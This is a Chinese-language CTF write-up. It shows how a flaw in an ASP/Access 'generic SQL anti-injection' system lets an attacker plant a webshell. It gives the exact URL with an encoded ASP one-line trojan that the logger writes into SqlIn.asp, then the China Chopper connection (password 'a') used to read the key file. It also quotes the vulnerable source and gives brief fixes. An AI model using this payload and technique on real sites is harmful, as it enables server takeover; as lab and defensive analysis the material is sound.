在Access ASP架构中,很多网站采用通用防注入系统来防范SQL注入攻击,该系统确实在一定程度上面可以防范SQL注入,但其设计时存在一个重大的缺陷,将注入操作的url数据写入到asp文件中,如果在内容中插入Asp一句话加密木马内容,则可以获取webshell。

1.1.1漏洞测试

1.来自ctf通关的提示

在进行ctf实战中,碰到一个关口,提示采用sql通用防注入系统,通过提示知道key文件就在根目录下,而且记录是写入到数据库内。

websql安全注入(SQL通用防注入系统asp版获取webshell)(1)

图1 ctf关口提示

2.测试语句

在url中添加“and 1=1”进行注入测试,如图2所示,程序操作IP、操作时间、操作页面、提交方式和提交参数等进行提示和记录,提示攻击者,网站有安全防护。

websql安全注入(SQL通用防注入系统asp版获取webshell)(2)

图2提示注入防范

1.1.2获取webshell

1.通过sqlmap的绕过防火墙进行测试

在sqlmap中对该url地址进行绕过测试,未能成功。

2.使用加密的Asp一句话木马

使用“and 1= ┼攠數畣整爠煥敵瑳∨≡┩愾“对url地址进行提交,也即:

10.2.66.50:8105/news.asp?id=753 aNd 2=┼攠數畣整爠煥敵瑳∨≡┩愾

如图3所示,sql防注入系统会自动将url地址写入到sqlin.asp文件。

websql安全注入(SQL通用防注入系统asp版获取webshell)(3)

图3插入一句话后门测试

3.访问sqlin.asp

在浏览器中输入http://10.2.66.50:8156/sqlin.asp进行访问测试,如图4所示,能够正常访问,前面插入的一句话后门直接写入到该文件。

websql安全注入(SQL通用防注入系统asp版获取webshell)(4)

图4测试sqlin.asp文件

4.获取webshell

在中国菜刀后门管理工具中创建asp后门记录http://10.2.66.50:8156/sqlin.asp,密码为a,如图5所示,成功获取webshell。

websql安全注入(SQL通用防注入系统asp版获取webshell)(5)

图5获取webshell

1.1.3获取key及程序漏洞分析

1.获取key值

通过webshell成功获取其key.php的值,如图6所示。key.php在网站目录设置了权限,无法通过http://10.2.66.50:8156/key.php直接获取。

websql安全注入(SQL通用防注入系统asp版获取webshell)(6)

图6获取key值

2.漏洞分析

(1)news.asp文件

通过对news.asp源代码进行分析,发现其ID值并未进行任何过滤,明显存在sql注入漏洞。

<% set rs= Server.CreateObject("adodb.recordset")

sql="select * from news where id="&Request("id")

rs.open sql,conn,1,3

bt=rs("bt")

nr=rs("nr")

(2)sql注入防范程序分析

sql注入防范程序是将数据信息插入到数据库中方便,其关键代码如下:

Fy_dbstr="DBQ=" server.mappath("SqlIn.asp") ";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"

Set Fy_db=Server.CreateObject("ADODB.CONNECTION")

Fy_db.open Fy_dbstr

Fy_db.Execute("insert into SqlIn(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values('"&Request.ServerVariables("REMOTE_ADDR")&"','"&Request.ServerVariables("URL")&"','POST','"&Fy_Post&"','"&replace(Request.Form(Fy_Post),"'","''")&"')")

Fy_db.close

SQL注入防范程序会将每一次的非法数据提交到sqlln.asp文件,将该文件重命名为mdb文件,打开后其内容如图7所示,Access数据库获取webshell的一个关键条件和方法都满足,将加密的asp一句话后门写入数据库内容,同时又必须是asp文件。

图7数据库中内容

(3)安全建议

在存在参数传入的地方一定要进行过滤出来,同时进行类型的严格检查和限定。在本例中使用sql防范程序可以解决sql注入,但如果sql防范程序存在缺陷的情况,将导致网站存在安全风险。在本例中可以将sqlln.asp修改为mdb文件也可以避免。

,